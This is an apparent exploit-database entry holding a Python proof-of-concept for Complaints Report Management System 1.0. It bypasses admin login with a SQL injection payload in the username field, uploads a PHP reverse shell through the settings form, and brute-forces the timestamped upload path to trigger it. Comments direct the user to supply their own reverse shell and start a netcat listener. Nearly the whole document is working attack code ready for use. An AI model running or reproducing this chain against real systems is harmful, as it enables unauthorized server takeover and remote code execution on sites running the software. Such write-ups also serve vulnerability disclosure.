Complaints Report Management System 1.0 SQL Injection / Remote Code Execution

`# Exploit Title: Complaints Report Management System 1.0 - 'username' SQL Injection / Remote Code Execution  
# Date: 3-11-2020  
# Exploit Author: mosaaed  
# Vendor Homepage: https://www.sourcecodester.com/php/14566/complaints-report-management-system-using-phpmysqli-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/complaints-report-management-system.zip  
# Version: 1.0  
# Tested on: Parrot 5.5.17 + Apache 2.4.46  
# CVE ID : N/A  
  
# replace shell.php with your own php reverse shell  
# change [TARGET URL] to target URL or IP address  
# setup your netcat listener for sum good ol shellz  
  
  
  
#!/usr/bin/python3  
  
import requests  
import time  
  
def sqli_admin():  
s = requests.Session()  
data = {"username":"admin'or'1'=1#","password":"hacked"}  
adminlogin = "http://localhost/crms/admin/ajax.php?action=save_settings"  
s.post(adminlogin,data=data)  
return s  
  
def trigger_rce(session):  
starttime = int(time.time())  
multipart_form_data = {  
"name": ("cyberscurity"),  
"email": ("[email protected]"),  
"contact" : ("+11111111111"),  
"about" : ("Nothing much about it"),  
"img" : ("shell.php", open("shell.php", "rb"))  
}  
session.post("http://localhost/crms/admin/ajax.php?action=save_settings", files=multipart_form_data)  
get_shell(starttime-100,starttime+100,session)  
  
  
def get_shell(start,end,session):  
for i in range(start,end):  
session.get("http://localhost/crms/admin/assets/uploads/"+str(i)+"_shell.php")  
response = requests.get ("http://localhost/crms/admin/assets/uploads/"+ str(i) +"_shell.php")  
if response.status_code == 200:  
print("http://localhost/crms/admin/assets/uploads/"+str(i)+"_shell.php")  
  
  
def main():  
session = sqli_admin()  
trigger_rce(session)  
  
if __name__ == '__main__':  
main()  
`